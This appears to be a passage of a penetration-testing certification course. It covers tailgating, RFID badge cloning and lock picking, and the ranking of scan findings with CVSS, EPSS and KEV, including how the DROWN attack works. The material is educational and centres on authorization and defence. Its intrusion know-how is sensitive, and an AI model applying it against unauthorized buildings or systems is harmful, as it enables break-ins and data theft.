
Four white security cameras mounted on the corner of a building, the kind of coverage a site survey records.
Cameras on the corner of a building
RickySpanish - CC BY-SA 4.0 - Wikimedia Commons

Tailgating past a badge reader

Tailgating means following an authorized person through a controlled entry without presenting a credential of your own. It works because of a gap in what the door knows: the reader verifies one card and unlocks for a few seconds, and nothing counts the bodies that pass. Manners do the rest, since holding a door feels polite and challenging a stranger feels rude (Lesson 21 covers that social side). NIST treats piggybacking and tailgating as one activity. Some trainers reserve piggybacking for an insider who knowingly lets you through; the objectives list only tailgating, so learn that word.

A tester uses it when the ROE asks whether staff challenge strangers. The evidence has a distinctive shape: one grant and two people. Field names vary by product.

Door controller export, Door 2 (fictional)
2027-03-09 07:41:12  ACCESS GRANTED  badge 40117
2027-03-09 07:41:13  DOOR OPEN
2027-03-09 07:41:21  DOOR CLOSED
Camera 9, same period: two people pass through.
Tester's note, 07:41: followed through Door 2, no credential presented,
not challenged, stopped at the first interior door as the ROE requires.

That mismatch is also how defenders find it: door logs compared with camera counts, a door-held-open alarm, or sensors at a barrier. The fixes are physical. An access control vestibule, the exam's term for what was once called a mantrap, is a space between two interlocking doors that limits how many people pass per authentication (NIST SP 800-53, PE-3(8)). NIST SP 800-116 also names gates or turnstiles that stop more than one person passing after each authentication. A stronger card does nothing here, because the second person never presents one. Add training that makes challenging a stranger normal, with no penalty for being wrong.

A cylindrical glass entry portal in an office building's entrance, built so that one person at a time passes through.
A security portal at an office entrance
McGov1258 - CC BY-SA 4.0 - Wikimedia Commons
A row of tall metal turnstiles with card readers on posts in front of them, at a power plant's security entrance.
Full-height access control turnstiles
Nuclear Regulatory Commission - CC BY 2.0 - Wikimedia Commons

Badge cloning: when a proximity card only recites its ID

An access badge usually talks to its reader by radio-frequency identification. It has no battery: a passive tag runs on the reader's signal and replies. NIST SP 800-98 gives 125 or 134 kHz and 13.56 MHz among the common bands, and defines cloning as reading information from a legitimate tag and programming another tag or device to behave the same way. Whether a copy works depends on what the reader asks for.

A classic proximity card at 125 kHz, as Richard Sedivy describes it for SecurityInfoWatch, sends the same unencrypted data every time, one way, with nothing coming back from the reader. There is no secret to steal, only data to repeat.

CredentialBandWhat the reader verifiesCopying
Proximity card125 kHzAn ID sent in the clearEasy; Sedivy puts cloning devices under $30
MIFARE Classic13.56 MHzA shared-key handshake with a proprietary cipherBroken: Garcia and colleagues (2008) recovered the secret key and showed a card could be cloned
MIFARE DESFire13.56 MHzA stronger cryptographic exchangeLower risk, so long as the keys are managed well
Personal Identity Verification (PIV) card, public key checkContactlessProof of holding a private keySkimming copies data but not the key, so NIST says the copy fails this check

The upshot: ask what the reader verifies, not what frequency the card uses. 13.56 MHz is a band, not a security property, and a strong card is only as strong as the check the reader performs. For a check that only reads PIV's free-read number, NIST's rating was "LITTLE or NO" confidence.

CompTIA's sample hardware list says "NFC/RFID cloning equipment" (NFC is near-field communication). The usual open-source example is Proxmark3, a general RFID research tool originally built by Jonathan Westhues. It tells a tester the card family and whether keys protect the card, and those facts go in the report; this course does not cover operating it. Reading a badge means collecting a credential from a person, so the professional default is a client-issued test badge with normal staff access, and copies are counted back and destroyed at the end (Lesson 26). Reading a real employee's badge needs its own ROE clause.

Check that the door is really under reader control. A door on an unlocked schedule opens for anyone, so a "success" at 10:00 is a false positive in Lesson 12's sense. The controller log decides.

A reader cannot tell a good copy from the original, so detection happens in logs and in people. Signs include one credential at two distant doors within minutes, entries while the holder is on leave, or a second entry with no recorded exit. That last check is anti-passback, a rule that refuses or flags consecutive entries on one card. The fix is credentials that prove possession of a key, with every reader doing that check; while readers still accept old cards, the old weakness stays open. Add a personal identification number (PIN) or biometric at sensitive doors, as SP 800-98 suggests, and review the logs.

A green plastic proximity access card with a slot for a lanyard, lying on concrete.
A proximity access badge
Kymacpherson - CC BY-SA 3.0 - Wikimedia Commons
A small green circuit board with chips, connectors and a push button: the first version of the Proxmark3.
Proxmark3 RFID research board
Turbospok - CC BY-SA 4.0 - Wikimedia Commons

Lock picking and the pin tumbler lock

The common door cylinder is a pin tumbler lock. A plug turns inside a shell, and a row of spring-loaded pin stacks blocks it. Each stack has a cut. The right key lifts every stack until its cut sits at the border between plug and shell, the shear line, and only then can the plug rotate. One stack too low or too high keeps it blocked.

Lock picking opens a lock with no key. Matt Blaze's 2003 paper explains that it exploits small manufacturing imperfections and mechanical tolerances to put the lock in the state a key would create. So the weakness lies in how precisely the lock was made, and better locks with features designed against manipulation are much harder. This course stops at that mechanism, because objective 3.3 asks you to explain it.

Testers use it only on doors the ROE names, usually last, since an easier rung may already have answered the question. A sensible alternative is a spare cylinder of the same model tested on a table with the client watching, which risks no door and no alarm. The evidence is the cylinder's model, the time taken and the witness. Blaze notes that picking is generally non-destructive and may leave little external evidence, so defenders must catch what surrounds it: a door contact reporting an opening with no badge, a camera on the door, an alarm.

The fixes start with better cylinders, correctly installed, since Blaze stresses that security depends on both. NIST's control PE-3 adds key control: secure keys, inventory them, and change them when they are lost or their holders leave. Master keying has its own cost: Blaze showed that someone holding one ordinary key to a master-keyed lock can work out a master key, which he calls rights amplification, or privilege escalation. So keep the most sensitive rooms off the master key, and layer a reader, a door contact and a camera on them.

A cutaway diagram of a lock cylinder with spring-loaded pin stacks crossing the border between plug and shell, blocking the plug.
Pin tumbler lock with no key
Original: GWirken Vector: Pbroks13 - CC BY-SA 3.0 - Wikimedia Commons
The same cutaway diagram with a key inserted, each pin stack lifted so its cut sits at the shear line and the plug can turn.
Pin tumbler lock with the correct key
Original: Wapcaplet Vector: Pbroks13 - CC BY-SA 3.0 - Wikimedia Commons
Five slim metal lock picks and a tension tool laid out on squared paper.
A lock pick kit
Sohc4 - Public domain - Wikimedia Commons

The five techniques at a glance

TechniqueWeakness it relies onToolsWhat defenders seeFix
Site surveyControls and routines are visible from outsideNotebook, camera, floor plan, public mapsA stranger lingering or photographingPatrols; cameras on doors; door-held alarms; challenge habit
USB dropHelpful people connect found devices; computers accept new devicesTracked USB flash drives with a harmless beaconEvent 6416; a new volume; a proxy hit; calls to the help deskDevice control; no Autorun; unneeded ports off; a place to hand in found media
TailgatingA reader checks one card and nothing counts people; politenessNoneOne grant, two people on camera; door-held alarmTurnstile or access control vestibule; challenge habit
Badge cloningA reader accepts an ID with no cryptographic proofNFC/RFID cloning equipment such as Proxmark3One credential at distant doors; entries during leave; anti-passback alarmKey-based cards and readers; PIN at sensitive doors; log review
Lock pickingManufacturing tolerances in pin tumbler locksLock pick kit, where law and the ROE allowUsually nothing at the lock; a door contact or cameraBetter cylinders; key control; door contacts; no master key on sensitive rooms

A worked decision: ruling on the Tern Harbor plan

Here is the reasoning in the shape of a performance-based question, using the Tern Harbor survey and these rules.

PHYSICAL RULES OF ENGAGEMENT (extract; fictional client)
Client:    Tern Harbor Logistics, owner of Building A and Lot C
Signed by: Chief Operating Officer; letter carried by each tester
Window:    Survey 2-4 March 2027; testing 9-11 March 2027,
           07:00-19:00 America/Chicago; no entry outside the window
Allowed:   Survey from public areas and the lobby, plus one escorted
             walk of the second-floor corridor
           Tailgating at Doors 2 and 3; stop at the first interior door
           USB drops: 20 team drives, Lot C only, image beacon only
           Badge copy: client-issued test badge TB-01 only; no employee
             badge may be read
Excluded:  Lock picks and bypass tools; force, damage, alarms
Contacts:  Security Director and COO, 24-hour numbers tested 2 March

Ask four questions of each proposed action, in order: whose property is it, does the ROE name this technique here, is it inside the window, and will the result prove anything?

Proposed actionRulingReasoning
Follow an employee through Door 2 at 07:40 on 9 MarchGoClient's door, named technique, inside the window, and S1 says this is when it happens
Present a copy of TB-01 at Door 3 at 10:00 on 9 MarchGo, but move itS2 says the door is unlocked until 18:00, so success proves nothing. Run it at 18:30, under reader control and still inside the window
Read a badge on an employee's lanyard in the coffee shop across the roadNoNo employee badge may be read, and the shop is not the client's property
Pick the cylinder on Room 2BNoLock picks are excluded. Report S4 as an observation and list it as not tested
Try Door 3 again at 19:30NoOutside the window, however convenient

Two actions go, one of them at a new time, and three stop. Now change one input. While surveying the lobby on 2 March, the tester reads a sign: "Managed by Pier 9 Properties" (also fictional). The client confirms that Tern Harbor only leases floors 1 and 2, and that Pier 9 owns the building and runs the lobby, the loading dock and Lot C. Nothing in the signed paperwork has changed.

ActionBeforeAfterWhy it flipped
Survey of the lobbyGoStop; the view from the public street can continueThe lobby is Pier 9's
Tailgating at Door 2GoHoldThe dock is Pier 9's
USB drops in Lot CGoHoldThe lot is Pier 9's, and other tenants' staff walk there
Copied badge at Door 3Go at 18:30Hold until the door and the route to it are shown to be leased spaceThe COO can authorize only what Tern Harbor controls

The tester stops, calls the Security Director on the tested number, and asks the client to get Pier 9's written permission or shrink the scope. Anything left untested goes in the report's limitations. One sign changed four rulings, and it is Lesson 3's question in a different building.

Exam cues: telling the five apart

The stem saysIt points toDo not confuse it with
Entrances, camera coverage, guard routines, before any entrySite surveyA wireless site survey, which maps radio coverage
A device left where someone will find itUSB dropA device the tester plants directly, a hardware addition
Presented nothing; one grant, two people on cameraTailgatingBadge cloning, which presents a credential and adds a log entry
Same badge at two distant doors within minutesA copied credential; anti-passback may catch itTailgating, which adds no entry at all
Fixed ID, 125 kHz, no challengeA copyable proximity card"13.56 MHz", which is not safe in itself
Only one person may pass per authenticationAccess control vestibule or turnstileBetter cards or locks, which count nobody

How physical findings are reported

Here is the entry for Door 3, written as you would for the fictional client.

  • Title: After-hours staff entrance opens for a copied badge because readers accept 125 kHz proximity cards.
  • Severity: High. A copy of any enrolled badge carries that person's access, copying needs no key or secret, and Door 3 leads to staff areas after the guard desk closes. It is not rated Critical because Room 2B has a separate lock and copying a real employee's badge was not tested under the ROE.
  • Evidence: Controller export, 9 March 2027, 18:31 America/Chicago: ACCESS GRANTED, Door 3, credential TB-01, presented on team card TC-1 while the door was under reader control. Witnessed by the Security Director. Photo of the reader, with no people in it. No employee badge was read.
  • Root cause: The access system trusts an ID sent unencrypted, with no cryptographic proof from the card and no second factor at the door.
  • Remediation: Replace cards and readers with a family that proves possession of a key, and stop readers accepting 125 kHz when migration ends. Until then, require a PIN at Door 3 after hours, turn on anti-passback, and review logs for one credential at two doors. Retest with a new test badge.

Physical findings rarely have a Common Vulnerabilities and Exposures (CVE) entry, so state likelihood and impact in plain words (Lessons 14 and 28 cover scoring).

Report doors and rates, never names: "two of three attempts at Door 2 went unchallenged" describes a process, and naming the person who held the door punishes helpfulness. Give both bounds for a USB drop. List what was not tested, such as "Room 2B cylinder not picked, per ROE". Count every drive and copied badge back in.

If the logs show something you did not do, such as an employee's badge at two distant doors, call the client's contact that day, because it may be a real intruder (Lesson 27).

Common misconceptions

  • "The study proves 98% of people plug in found drives." 98% of drives were removed and 45% had a file opened. The paper's estimate is the range between them.
  • "A tempting label is what makes a drop work." "Confidential" drives were opened 50% of the time and blank drives 45% (p = 0.72).
  • "A stronger card stops tailgating." The second person presents no card. Only something that limits people per authentication stops it.
  • "13.56 MHz badges cannot be cloned." MIFARE Classic runs at 13.56 MHz and was broken in 2008. Ask what the reader verifies.

Putting it together

  • Tischer et al. dropped 297 drives at the University of Illinois in April 2015: 290 (98%) were removed and 135 (45%) had a file opened, so success is estimated at 45-98%, a ceiling and a floor. The first connection came in under six minutes; the median was 6.9 hours.
  • Labels such as "confidential" did not beat blank drives; return-label drives fell to 29% against 45% (p = 0.10); 68% of survey respondents said they wanted to return the drive.
  • A site survey reads perimeter, entrances, cameras, guards and habits, usually over at least two or three days. It is not a wireless site survey.
  • Tailgating works because a reader checks a card and nothing counts people. Its signature is one grant and two people on camera; a vestibule or turnstile stops it and a better card does not.
  • Badge cloning works when the reader accepts an ID with no cryptographic proof. A 125 kHz proximity card sends the same unencrypted data every time, MIFARE Classic was broken in 2008, and reading a card cannot copy a private key.
  • Lock picking exploits manufacturing tolerances to reach the state a key creates at the shear line. It leaves little trace, so detection comes from door contacts and cameras; the fixes are better cylinders and key control.
  • A physical ROE names the owner of every building, each technique door by door, the window with its time zone, and tested 24-hour contacts. Carrying picks can itself be evidence of intent, as in Virginia.
  • Physical findings report doors and rates, not names, give both bounds for a USB drop, and list untested items as limitations.

Sources

  1. Tischer, M., Durumeric, Z., Foster, S., Duan, S., Mori, A., Bursztein, E., and Bailey, M. (2016). Users really do plug in USB drives they find. In 2016 IEEE Symposium on Security and Privacy (pp. 306-319). IEEE. doi.org; author's copy (PDF)
  2. National Institute of Standards and Technology. Joint Task Force. (2020). Security and privacy controls for information systems and organizations (SP 800-53 Rev. 5; controls MP-7, PE-3, PE-6, PE-8, SC-41). PDF; Karygiannis, T., Eydt, B., Barber, G., Bunn, L., and Phillips, T. (2007). Guidelines for securing radio frequency identification (RFID) systems (SP 800-98). PDF; Ferraiolo, H., Mehta, K., Ghadiali, N., Mohler, J., Johnson, V., and Brady, S. (2018). Guidelines for the use of PIV credentials in facility access (SP 800-116 Rev. 1). PDF
  3. The PTES Team. (n.d.). Pre-engagement interactions (physical penetration test questions) and Intelligence gathering (on-location gathering). In Penetration Testing Execution Standard (unofficial mirror of the technical text; the official site is pentest-standard.org). pre-engagement; intelligence gathering
  4. The MITRE Corporation. (2025). Replication Through Removable Media (T1091, version 1.3) and Hardware Additions (T1200, version 1.7). MITRE ATT&CK. T1091; T1200
  5. Microsoft. (n.d.). 6416(S): A new external device was recognized by the System. Microsoft Learn. learn.microsoft.com
  6. Blaze, M. (2003). Rights amplification in master-keyed mechanical locks. IEEE Security and Privacy, 1(2), 24-32. doi.org
  7. Garcia, F. D., de Koning Gans, G., Muijrers, R., van Rossum, P., Verdult, R., Wichers Schreur, R., and Jacobs, B. (2008). Dismantling MIFARE Classic. In Computer Security: ESORICS 2008 (pp. 97-114). Springer. doi.org
  8. Sedivy, R. (2022, June 13). How secure is your access card? SecurityInfoWatch. securityinfowatch.com
  9. Kisi. (n.d.). Area anti-passback in access control. getkisi.com
  10. RFID Research Group. (n.d.). Iceman fork: Proxmark [Repository README]. GitHub. github.com
  11. Iowa Code section 713.7 (2026), Possession of burglar's tools. legis.iowa.gov (PDF); Code of Virginia section 18.2-94, Possession of burglarious tools. law.lis.virginia.gov
  12. CompTIA. (2024). CompTIA PenTest+ PT0-003 exam objectives (Version 5.0), objective 3.3 and sample hardware list. CompTIA (PDF)
Key terms
Site survey
In physical testing, an inspection of a facility's perimeter, entrances, cameras, guards and staff habits, usually over several days, to find weaknesses before any entry attempt.
USB drop
Leaving USB devices where staff will find them, to test whether people connect them. A professional test carries only a harmless beacon, never malicious code.
Tailgating (physical security)
Following an authorized person through a controlled entry without presenting a credential. NIST treats piggybacking as the same activity.
Badge cloning
Reading the data on an access badge and programming another card or device to behave the same way, which works when the reader verifies no secret.
Lock picking
Opening a lock without its key by manipulating its internal parts, exploiting small manufacturing imperfections and mechanical tolerances.
Pin tumbler lock
A lock whose plug turns only when a key lifts every pin stack so that its cut lines up at the shear line between plug and shell.
Proximity card
A contactless access card, commonly at 125 kHz, that sends the same unencrypted data one way to the reader and can be copied easily.
Radio-frequency identification
RFID: technology in which a reader's radio signal lets a tag, often battery-free, reply with stored data; used in access badges, among much else.
Access control vestibule
A space between two interlocking doors that limits how many people pass per authentication, used to stop tailgating. It was once called a mantrap.
Anti-passback
An access-control rule that refuses or flags consecutive entries on one card with no recorded exit, which can expose a copied or shared badge.

Module 5: Attacks I: Planning (Domain 4, objective 4.1)

Turn findings into a prioritized plan with CVSS, EPSS and attack paths. Lessons on how attacks on networks, passwords, multifactor authentication, directories and federated identity work are still being written.

From Findings to a Plan: Prioritizing Targets and Preparing Attacks

  • Read CVE, CWE, CVSS and EPSS descriptors, decode a CVSS vector, and explain what each label cannot tell you.
  • Rank targets from scan output using high-value assets, reachability, end-of-life status, default configurations, running services, vulnerable encryption and defensive capabilities.
  • Select tools and public exploits, analyze exploit code before use, and customize it within the rules of engagement.
  • Document an attack path, low-level diagram and storyboard, and adjust them for dependencies, scope limitations and labeled sensitive systems.

A 5.3 that outranks a 10.0

Line 1 of the scanner export from Tallis Freight, a fictional logistics client, is a 10.0 on the Common Vulnerability Scoring System (CVSS), sitting on a test server. Line 640 is a 5.3 on a file server, with no Common Vulnerabilities and Exposures (CVE) number at all. The export runs to 1,412 lines and you have five working days, so most of it will never get your attention. Here you will put line 640 first, defend that choice, and then watch one email reverse it.

That is the skill behind objective 4.1: read output, decide what to go after, and prepare before anything runs. Lesson 8 ended with a three-link map to a payroll database in which every row was still a question; here that map becomes a prioritized plan. If TLS is rusty, the site's Security+ Certification Prep covers it.

Exam objectives: 4.1: target prioritization (high-value asset identification; the descriptors and metrics CVSS base score, CVE, CWE and EPSS; end-of-life software and systems; default configurations; running services; vulnerable encryption methods; defensive capabilities) and capability selection (tool selection; exploit selection and customization, including code analysis; documentation: attack path, low-level diagram creation and storyboard; dependencies; consideration of scope limitations; labeling sensitive systems).

Before you run anything

This is mostly reading and deciding, and the few commands scan only your own lab. Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Tallis Freight and its hosts are invented. The CVE records in its table are real, with scores read on 3 November 2026; some will have moved by the time you read this.

The task: six findings, five days, one rules-of-engagement extract

A performance-based question gives you evidence and asks for a decision. Here is the extract from the rules of engagement (ROE).

Goal:           Can a person on the office network reach payroll data?
High value:     PAY-DB01 (payroll), DC01 (domain controller)
Test position:  10.20.99.50, office VLAN 99
Window:         Mon-Fri 08:00-18:00; no testing Thu 14:00-18:00 (payroll run)
Allowed:        Read-only browsing of shares; one default-password attempt per device
Not allowed:    Denial of service; anything that restarts a service; using a
                found credential without a named test case in writing
Sensitive:      HR-APP02, PAY-DB01: verification only, no exploitation
Authorization:  Systems owned and run by Tallis Freight
Defenses:       EDR in block mode on Windows servers; WAF in front of the payroll
                portal PAYWEB; 24x7 SOC; no monitoring on VLAN 20

And the six export lines that matter, trimmed. EPSS and KEV are explained in Step 2.

IDHost and roleFindingCVE / CWECVSSEPSSKEV
F1qa-sandbox-07, 10.20.60.7, QA test VMApache Log4j 2.14, reported by the client's patch agent; no route from VLAN 99CVE-2021-44228 / CWE-91710.00.99999Yes
F2HR-APP02, 10.20.10.40, HR system on Windows Server 2012 R2Update MS17-010 appears to be missingCVE-2017-0144 / none8.80.99Yes
F3MAIL02, 10.20.20.12, mail relayAccepts SSLv2; same certificate as PAYWEBCVE-2016-0800 / CWE-3105.90.82No
F4FS01, 10.20.10.25, file serverAnonymous read of the Deploy share, which holds a configuration file naming the account svc_reportnone / CWE-7325.3, your scorenonenone
F5PRINT03, 10.20.20.9, multifunction printerAdmin page open; default password untried; may store a scan-to-folder domain accountnone / CWE-1392unscorednonenone
F6PAY-DB01, 10.20.30.15, payroll databaseClient's listing shows svc_report can read reporting views; firewall allows port 1433 only from VLAN 10noneInfononenone

Your task: order the six for testing, and say what you would do and refuse to do on each. Write your order down before you read on.

Step 1: Name the high-value assets before you read a score

A high-value asset is a system or data set whose loss would hurt the client most. Start here, because a score describes a flaw and this step describes the business. Tallis's ROE names two, and such lists usually come from business impact analysis (Lesson 27). When the ROE names none, scan output offers hints. This pattern on one host means a domain controller, which controls every domain account:

53/tcp   open  domain
88/tcp   open  kerberos-sec
389/tcp  open  ldap
445/tcp  open  microsoft-ds
3268/tcp open  globalcatLDAP

Port 1433, 1521, 3306 or 5432 suggests a database (SQL Server, Oracle by convention, MySQL, PostgreSQL). Names such as backup, vault, ca or ci suggest systems that unlock many others. Value can also come from reach: NSA and CISA warn that printers and scanners may hold privileged domain accounts for scanning to a shared drive, which makes F5's printer a possible route to the whole domain. Confirm these leads with the asset owner, because a host named PAYROLL-OLD may be empty. Then give every finding one question: does it bring you closer to PAY-DB01 or DC01?

Step 2: Read the descriptors: CVE, CWE, CVSS and EPSS

LabelQuestion it answersWhat it cannot tell you
CVEWhich exact flaw?How bad it is, or whether your client has it
CWEWhat kind of mistake?Which product or host
CVSSHow severe, in principle?Whether anyone attacks it; your environment, unless you add it
EPSSHow likely is exploitation activity in the next 30 days?How much damage; whether it applies to you

Common Vulnerabilities and Exposures gives each publicly disclosed flaw one record, written CVE, a year, and four or more digits. The year is not a publication date: CVE-2011-2523, the backdoored vsftpd 2.3.4 behind the banner in Lesson 7, was published in November 2019. Read a record's conditions too: that one covers only copies downloaded from 30 June to 3 July 2011, so a version string alone does not prove it. A misconfigured share on one client's server is not a product flaw, so it gets no CVE, and a CVE-sorted export buries F4 and F5.

Common Weakness Enumeration (CWE) is a community-developed list of the kinds of mistake behind vulnerabilities. A CVE is one instance; a CWE is the class. CWE-1392 is Use of Default Credentials, CWE-732 is Incorrect Permission Assignment for Critical Resource, and the 2025 Top 25 ranks cross-site scripting (CWE-79) first. A CWE names the root cause when there is no CVE.

The Common Vulnerability Scoring System rates severity from 0 to 10. The Forum of Incident Response and Security Teams (FIRST) owns it. FIRST says CVSS is currently at version 4.0, published in November 2023, but many records still show version 3.1, so expect either. The objective names the base score: the flaw's own characteristics, constant over time and across environments. Both versions share these bands: None 0.0, Low 0.1-3.9, Medium 4.0-6.9, High 7.0-8.9, Critical 9.0-10.0. Here is the vector NIST's National Vulnerability Database (NVD) gives CVE-2011-2523, which scores 9.8:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MetricQuestionValues
AV, Attack VectorFrom where?N network, A adjacent, L local, P physical
AC, Attack ComplexityConditions outside the attacker's control?L low, H high
PR, Privileges RequiredWhat account first?N none, L low, H high
UI, User InteractionMust someone else act?N none, R required
S, ScopeDoes impact reach past the vulnerable component?U unchanged, C changed
C, I, ALoss of confidentiality, integrity, availabilityH high, L low, N none

So: across a network, with no special conditions, no account and nobody's help, an attacker causes total loss of all three. When there is no CVE, you score the finding yourself. F4 is reached over the network (AV:N), with nothing special needed (AC:L), no account (PR:N) and no help (UI:N), and the effect stays on that server (S:U). Anonymous users can read one share, so confidentiality loss is partial (C:L), with no write or outage (I:N, A:N). FIRST's formula gives 5.3. Change the inputs and watch it move:

Vector for F4What would make it trueScore
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NOne share is readable5.3 Medium
C:L becomes C:HEverything on the server is readable7.5 High
C:H, and PR:N becomes PR:LReading needs any domain account6.5 Medium
C:H and I:H, with PR:NAnonymous users can also write everything9.1 Critical

Version 3.1 has Base, Temporal and Environmental metric groups; 4.0 has Base, Threat, Environmental and Supplemental. Version 4.0 removes Scope, scoring impact on the vulnerable system (VC, VI, VA) and on subsequent systems (SC, SI, SA) instead, and adds Attack Requirements (AT).

Scores are labeled by what went into them: CVSS-B (base), CVSS-BT (plus threat), CVSS-BE (plus environmental), CVSS-BTE (all three).

The base calculation assumes the worst case for threat until told otherwise: FIRST's calculator code gives the 9.8 flaw CVSS-B 9.3, then 8.9 with proof-of-concept exploit maturity (E:P) and 8.1 with no known exploit (E:U). FIRST's FAQ is blunt: "CVSS-B Base scores are not risk."

Check who scored a record, and when. CVE-2007-2447 in Samba has only an old version 2 score of 6.0 in NVD, not comparable with a 3.1 number. And since 15 April 2026 NVD prioritizes only certain CVEs for analysis. It no longer routinely adds its own score where the CVE's publisher gave one. So a blank NVD score does not mean nobody scored it. Read the CVE record too.

The Exploit Prediction Scoring System (EPSS) asks a different question: how likely is it that exploitation activity for this CVE will be observed in the next 30 days? A machine-learning model re-scores every CVE daily; version 5 began on 15 June 2026. It is free, with no account, from FIRST's API. F2's CVE on 3 November 2026 read:

{"cve":"CVE-2017-0144","epss":"0.992300000","percentile":"0.999360000","date":"2026-11-03"}

The first number is a probability of about 99 percent. The second is a rank, above 99.9 percent of scored CVEs. Exploitation is rare, so scores cluster near zero: of 399,388 CVEs scored that day, the median was 0.006, and 0.10 sat near the 96th percentile, so a 10 percent score is a high rank. FIRST defines no High or Critical bands, says the often-quoted 0.10 cutoff has no special authority, and warns against multiplying EPSS by CVSS, because a probability times an uncalibrated ranking means nothing. And it cannot know whether the flaw is present, reachable or consequential at Tallis.

Beside these sits CISA's Known Exploited Vulnerabilities (KEV) catalog, 1,767 entries on 3 November 2026. KEV is a record and EPSS a forecast; when they disagree, FIRST says follow KEV. Since June 2026, CISA's Binding Operational Directive 26-04 has US federal agencies set patch deadlines from four questions:

  • Is the asset publicly exposed?
  • Is the flaw in KEV?
  • Can an attacker automate it?
  • Does it give partial or total control?

CISA notes they are no longer required to use CVSS for prioritization.

Worth holding on to: CVE names the flaw, CWE names the kind of mistake, CVSS rates how bad it is in principle, EPSS forecasts attack activity, and KEV records attacks already seen. None of them knows anything about Tallis Freight.

Step 3: Check what the scores cannot see

End-of-life software and systems. When a vendor stops issuing fixes, each new flaw stays open for good and remediation means replacement. Microsoft's extended support for Windows Server 2012 and 2012 R2 ended on 10 October 2023 and its paid Extended Security Updates on 13 October 2026, so F2's host now gets no fixes at all. Your evidence is a banner or OS fingerprint checked against the vendor's lifecycle page. A short findings list on such a host proves little, because nobody publishes fixes for it, and such systems are fragile, so plan gentler checks.

Default configurations. NSA and CISA put these first on their 2023 list of the top ten misconfigurations their teams find: built-in passwords on devices such as printers and cameras, and insecure default service settings. A default password works because the manual is public. Your evidence is the model on the admin page plus that manual, and you go only as far as the ROE allows. Defenders see at most one login in the device's log. The fix is changing credentials at installation (CWE-1392).

Running services. Every listening service is code accepting input from whoever connects. Compare each host's job with its ports, using the version scan from Lesson 7. Telnet on a file server, a database open to the office VLAN, or a service nobody can explain, like distccd on port 3632 of your Metasploitable VM, is a lead before any CVE is matched. A service running as root or SYSTEM raises the stakes, and removing an unneeded one is often the cheapest fix in a report.

Defensive capabilities. These are intrusion detection and prevention systems, endpoint detection and response (EDR), web application firewalls (WAFs) and the security operations center (SOC). You learn of them from the client's briefing and from enumeration such as Lesson 8's WAF checks. They do not change what is vulnerable; they change who gets alerted, which tool gets blocked, and who must be told first.

So agree whether detection is being tested. An emulation of an advanced persistent threat (APT) may keep the SOC in the dark and follow one group's known behavior. A test like this one usually gives the SOC your source address and window, which is called deconfliction.

If EDR blocks a tool, stop and report a working control. A block is not a fix, since a WAF leaves the flaw behind it. A gap is a finding: nothing watches VLAN 20. Altering a tool so defenses miss it needs explicit permission, and this course does not teach it.

Vulnerable encryption methods: reading a cipher suite, and the DROWN attack

Weak encryption is rarely a first move, but it is often a finding. A TLS cipher suite name is a list of parts:

PartTLS_RSA_WITH_AES_128_CBC_SHATLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256Why it matters
Key exchangeRSA (Rivest, Shamir, Adleman): the session key is sent encrypted to the server's long-term keyECDHE (Elliptic Curve Diffie-Hellman Ephemeral): fresh keys every sessionWith RSA transport, a stolen server key decrypts recorded traffic. ECDHE gives forward secrecy
Cipher and modeAES (Advanced Encryption Standard) in CBC, cipher block chaining, with integrity added separatelyAES in GCM, Galois/Counter Mode, which authenticates as it encryptsRFC 9325: no CBC unless encrypt-then-MAC is negotiated
HashSHA (Secure Hash Algorithm): HMAC with SHA-1SHA-256, for key derivationSHA-1 signatures are a separate, deprecated matter
RFC 9325 saysShould not be negotiatedRecommended

The same guidance forbids negotiating SSL 2.0, SSL 3.0, TLS 1.0, TLS 1.1 and RC4, and requires at least 2048 bits for classic Diffie-Hellman (DH) groups. Check the public key infrastructure (PKI) too, meaning the certificates and the authorities behind them: SHA-1 signatures, expired or self-signed certificates, one certificate reused across hosts. Nmap's ssl-enum-ciphers lists what a server accepts. Here is sample output for the fictional PAYWEB, trimmed:

443/tcp open  https
| ssl-enum-ciphers:
|   TLSv1.0:
|     ciphers:
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
|_  least strength: C

Notice the trap: an A beside a TLS_RSA suite under TLSv1.0. The grade weighs key exchange and cipher strength, not the hash or the protocol version, so read the version lines yourself. The script is also in Nmap's intrusive category because it opens many connections, so check the ROE.

Now F3. DROWN, Decrypting RSA with Obsolete and Weakened eNcryption (CVE-2016-0800), showed in March 2016 that merely supporting SSLv2 can endanger modern TLS on another machine. An attacker records several hundred TLS sessions that used RSA key exchange, then sends crafted probes to any SSLv2 server holding the same private key, and its replies leak enough to decrypt a session.

In the researchers' general case, roughly 40,000 probes and about 250 computations decrypted one of 900 sessions, for about $440 of cloud time. So MAIL02's SSLv2 threatens PAYWEB, because both use one certificate. Defenders may see a burst of SSLv2 handshakes on the relay, if anything logs them.

The fix: disable SSLv2 everywhere, stop sharing keys between services, and prefer ECDHE. CVSS gives it 5.9 because attack complexity is high.

To prove the precondition, compare each host's ssl-cert output and run sslv2, both in the safe category. Try this in your lab: sudo nmap --script sslv2,ssl-cert -p 25 192.168.56.102. Published scans of Metasploitable 2 lead you to expect SSLv2 supported above a list of old ciphers.

A timing diagram of a TLS 1.2 handshake between client and server: ClientHello, ServerHello with certificate, key exchange, then application data.
Where a cipher suite is chosen
Fleshgrinder and The People from The Tango! Desktop Project . - Public domain - Wikimedia Commons
Paint-mixing illustration of Diffie-Hellman: Alice and Bob each add a secret color to a common paint, swap the mixtures in public, and add their secret color again to reach the same common secret.
The idea behind DH and ECDHE
Original schema: A.J. Vinck, University of Duisburg-Essen SVG... - Public domain - Wikimedia Commons
Block diagram of cipher block chaining: each plaintext block is combined with the previous ciphertext block before encryption, starting from an initialization vector.
CBC mode
MartinThoma - CC BY 3.0 - Wikimedia Commons
Block diagram of Galois/Counter Mode: counters are encrypted to produce ciphertext while multiplication steps build an authentication tag over the data.
GCM mode
NIST - CC0 - Wikimedia Commons

Step 4: Put the list in order

Apply five questions in this order, with severity as the tie-breaker.

  1. Is it in scope, and can you reach it from your test position?
  2. Is it on a route to a high-value asset?
  3. Is there evidence of real-world attack: KEV, or a high EPSS?
  4. What does the ROE let you do there, and can you prove it safely?
